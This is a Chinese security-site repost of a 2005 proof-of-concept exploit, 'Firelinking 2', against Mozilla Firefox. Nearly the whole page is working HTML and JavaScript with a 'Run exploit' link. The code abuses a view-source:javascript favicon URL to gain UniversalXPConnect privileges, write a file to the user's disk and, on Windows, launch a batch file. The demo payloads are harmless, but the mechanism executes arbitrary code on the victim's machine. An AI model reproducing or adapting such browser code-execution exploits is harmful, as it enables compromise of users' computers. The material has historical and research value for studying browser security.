统计在线人数...

Mozilla Firefox "view-source:javascript" url Code Execution Exploit

[ 来源:不详 | 作者:neeao | 时间:2005-5-22 15:25:56 | 浏览:统计中... ]


来自:黑色天空
<html>

<head>

<title>Firelinking 2 - Proof-of-Concept by mikx</title>

<-- This PoC is cross platform : On Windows this example creates the file -->

<-- c:\booom.bat and launches it (opens a dos box with a dir command). On -->

<-- Linux (tested Fedora Core) and MacOSX the example creates the file -->

<-- ~/booom.txt or /booom.txt. Depending on caching the the script might -->

<-- run twice in some cases (this will create an additional booom-1.txt). -->

<link rel="SHORTCUT ICON" href="favicon.ico">

<script language="JavaScript" type="text/javascript">

var pf = navigator.platform.toLowerCase();

if (pf.indexOf("win") != -1) {

var os = "win";

} else if (pf.indexOf("mac") != -1) {

var os = "mac";

} else {

var os = "linux"

}

function runDemo() {

// this is an ugly caching workaround

document.getElementById('outhtml').innerHTML = "";

document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value

document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value

document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value

window.setTimeout("document.getElementById('outhtml').innerHTML +=

document.getElementById('linkhtml_"+os+"').value",300);

}

</script>

</head>

<body>

<div style="font-family:Verdana;font-size:11px;">

<div style="font-family:Verdana;font-size:15px;font-weight:bold;">Firelinking 2 - Proof-of-Concept</div>

<br><br>

<div style="width:600px">

<div id="outhtml" style="display:none"></div>

<textarea id="clearhtml" style="display:none">

<link rel="SHORTCUT ICON" href="favicon.ico">

</textarea>

<textarea id="linkhtml_win" style="display:none">

<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('

javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');

file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.

nsILocalFile);file.initWithPath(\'c:\\\\booom.bat\');file.createUnique(Components.interfaces.

nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/

file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);

outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\n

PAUSE\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch();','','')">

</textarea>

<textarea id="linkhtml_mac" style="display:none">

<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript:

netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.

classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);

file.initWithPath(\'/booom.txt\');file.createUnique(Components.interfaces.nsIFile.

NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/

file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);

outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write

(output,output.length);outputStream.close();','','')">

</textarea>

<textarea id="linkhtml_linux" style="display:none">

<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript:

netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.

classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.

initWithPath(\'~/booom.txt\');file.createUnique(Components.interfaces.nsIFile.

NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/

file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);

outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write

(output,output.length);outputStream.close();','','')">

</textarea>

<br><br>

<a href="#" onclick="runDemo();runDemo();">Run exploit</a>

</div>

</body>

</html>
共有0人参与评价,平均得分:0分
评论内容只代表网友观点,与本站立场无关! 查看完整内容
   

当前在线人数
QQ:748838 MSN:allen_xia#msn.com E-mail:allenxia666#126.com QQ群:站长联盟北方区-北京(28200145) 站长联盟南方区-上海(67713522)